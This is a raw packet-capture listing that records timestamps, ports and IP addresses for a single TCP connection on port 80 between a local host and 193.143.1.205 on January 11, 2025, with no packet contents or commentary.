Jan 11, 2025 05:33:54.145812035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.145821095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145831108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145833969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.145843029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145853996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145859003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.145865917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.145878077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.145905972 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.146631956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.146646023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.146666050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.146667957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.146672010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.146680117 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.146712065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.152405024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.160590887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.187546015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.187561989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.187572956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.187582970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.187589884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.187599897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.187612057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.187613010 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.187622070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.187666893 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.229268074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229291916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229304075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229315042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229326010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229337931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229448080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229460001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229460001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.229460001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.229473114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229485035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229506969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.229532957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.229568005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229587078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229597092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229617119 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.229679108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229690075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229701042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229713917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.229733944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.229849100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229861021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229871988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229882956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229893923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229903936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229909897 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.229918957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.229940891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.230173111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.230184078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.230194092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.230204105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.230214119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.230232954 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.230263948 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.239582062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.251924992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.270922899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.270947933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.270958900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.270975113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.270986080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.270997047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271040916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271071911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271121979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271132946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271143913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271166086 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271285057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271302938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271327019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271327019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271339893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271351099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271367073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271385908 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271465063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271476030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271486998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271527052 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271541119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271552086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271563053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271569014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271579027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271598101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271608114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271610975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271622896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271635056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271641016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271663904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271680117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271717072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.271971941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271984100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.271996975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272001982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272033930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.272047997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272058964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272064924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272073984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272084951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272099972 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.272121906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.272376060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272387981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272398949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272418976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.272442102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272444963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.272454977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272465944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272479057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272499084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.272501945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272515059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272527933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.272552013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272553921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.272562981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272574902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.272604942 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.273009062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273025990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273036957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273042917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.273047924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273060083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273070097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273070097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.273097992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.273159027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273169994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273181915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273191929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273195982 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.273204088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273215055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273225069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.273226976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273247957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.273291111 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.273325920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273336887 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273348093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273358107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273367882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273370028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.273374081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273381948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273444891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.273962021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273978949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.273997068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.274003983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.274008036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.274023056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.274029970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.274034023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.274045944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.274055958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.274060011 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.274069071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.274080038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.274087906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.274106026 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.275914907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.275940895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.275950909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.275965929 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.275969982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.275983095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.275995016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.276020050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.276025057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.276036024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.276046991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.276070118 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.277693987 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.315942049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.315978050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.315989017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.315996885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316001892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316011906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316018105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316020012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316023111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316056013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316086054 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316093922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316103935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316148996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316154957 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316171885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316189051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316190958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316203117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316215038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316225052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316231012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316256046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316261053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316267967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316288948 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316365957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316376925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316390038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316399097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316401958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316411018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316418886 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316457987 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316489935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316509962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316534042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316545010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316555023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316562891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316570997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316580057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316581011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316593885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316601038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316606045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316617966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316642046 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316648960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316659927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316669941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316677094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316709995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316718102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.316720963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.316745043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.357979059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.357997894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358011007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358021975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358035088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358045101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358057022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358145952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358145952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358145952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358145952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358159065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358179092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358205080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358221054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358222008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358232975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358243942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358259916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358263016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358273983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358279943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358285904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358295918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358311892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358313084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358323097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358335018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358335018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358346939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358357906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358374119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358380079 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358390093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358401060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358403921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358412027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358422041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358422041 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358433962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358443975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358463049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358464956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358481884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358491898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358494997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358511925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358520985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358525038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358532906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358545065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358551979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358555079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358576059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358582020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358586073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358603001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358609915 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358613968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358625889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358638048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358648062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358649969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358659029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358670950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358680964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358683109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358705997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358720064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358728886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358741045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358757973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358757973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358771086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358783960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358812094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358814001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358828068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358839989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358850002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358867884 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358892918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.358964920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358980894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.358992100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359002113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359013081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 05:33:54.359013081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 05:33:54.359025955 CET	80	49711	193.143.1.205	192.168.2.6
